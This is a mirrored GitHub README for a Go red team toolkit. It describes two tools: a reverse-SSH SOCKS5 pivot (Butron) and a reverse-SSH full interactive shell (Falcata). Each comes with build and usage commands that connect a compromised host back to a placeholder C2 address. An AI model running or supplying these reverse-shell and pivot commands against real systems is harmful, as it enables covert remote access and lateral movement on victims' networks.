Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Pertrechos is a toolbox repo. that will contain simple code-snippets in go to perform different useful actions to help OffSec. operations/projects.

License

Notifications You must be signed in to change notification settings

rebujacker/Pertrechos

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Pertrechos

pertrechos: Red Team Tool Set

STime logo

What is Pertrechos? What is its Purpose?

Pertrechos is a toolbox repo. that will contain simple code-snippets in go to perform different useful actions to help offSec. operations/projects.

For the moment, they will be simple extracts of features that SiestaTime framework has already in place, but with the freedom of a simple binary or source ready to be used.

Each tool will normally focus in one type of feature and should work for three platforms: Linux,Windows and OSX

This tool has both Educational Purposes and aims to help security industry and defenders.

Butron - Reverse SSH SOCKS5

Open a SOCKS5 in a target SSH server, by using a reverse SSH connection from the device. Basically like doing "ssh -i key.pem -D user@<ImplantSSHServer>" from our C2.

If you want to test the functionality, use a browser (EG. Mozilla) and set a SOCKS5 proxy towards your C2 SOCKS5 opened.

Compile and Use:

petrechos.sh butron <windows/darwin/linux> <amd64/386>
./butron <key.pem> <SSHuser> <C2IP:Port> <IPtoListen:Port> <OptionalParamLog>

Rememeber that your C2 sshd needs to have "GatewayPorts yes" in /etc/ssh/sshd.conf to be able to listen to 0.0.0.0

Sources Used:

Falcata - Reverse SSH Full Interactive Terminal (Linux,Darwin, TBD Windows)

Full Interactive shell. The "Egress" will connect using SSH to target C2, and serve a full interactve shell in a listener. The "Connect" will take care of terminal channels/etc... to have a full interactive session.

<TBD> Full Interactive mirror for windows.

Compile and Use:

petrechos.sh falcata <windows/darwin/linux> <amd64/386>
./falcata egress <key.pem> <SSHuser> <C2IP:Port> <IPtoListen:Port>
./falcata connect <IPtoListen:Port>
Sources Used:

Contributing

Any collaboration is welcome! Feel free to contact me.

There are many tasks to do. You can check the `Issues <https://github.com/rebujacker/Pertrechos/issues/ >`_ and send us a Pull Request.

Disclaimer

Author/Contributors will not be responsible for the malfunctioning or weaponization of this code

License

This project is distributed under GPL V3 license

About

Pertrechos is a toolbox repo. that will contain simple code-snippets in go to perform different useful actions to help OffSec. operations/projects.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published